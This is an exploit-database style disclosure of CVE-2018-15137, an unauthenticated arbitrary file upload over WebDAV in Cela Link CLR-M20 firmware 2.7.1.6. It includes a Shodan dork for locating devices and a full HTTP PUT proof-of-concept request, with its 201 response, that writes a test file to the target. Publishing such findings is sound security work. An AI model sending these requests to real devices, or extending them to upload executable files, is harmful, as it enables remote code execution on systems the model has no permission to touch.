Cela Link CLR-M20 2.7.1.6 – Arbitrary File Upload
# Exploit Title: Cela Link CLR-M20 2.7.1.6 - Arbitrary File Upload # Date: 2018-07-13 # Shodan Dork: CLR-M20 # Exploit Author: Safak Aslan # Software Link: http://www.celalink.com # Version: 2.7.1.6 # CVE: 2018-15137 # Authentication Required: No # Tested on: Windows # Vulnerability Description # Due to the Via WebDAV (Web Distributed Authoring and Versioning), # on the remote server, Cela Link CLR-M20 allows unauthorized users to upload # any file(e.g. asp, aspx, cfm, html, jhtml, jsp, shtml) which causes # remote code execution as well. # Due to the WebDAV, it is possible to upload the arbitrary # file utilizing the PUT method. # Proof-of-Concept # Request PUT /test.html HTTP/1.1 Host: targetIP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en,tr-TR;q=0.8,tr;q=0.5,en-US;q=0.3 Accept-Encoding: gzip, deflate Content-Length: 26 the reflection of random numbers 1230123012 # Response HTTP/1.1 201 Created Content-Length: 0 Date: Fri, 13 Jul 2018 14:38:54 GMT Server: lighttpd/1.4.20 As a result, on the targetIP/test.html, "the reflection of random numbers 1230123012" is reflected on the page. |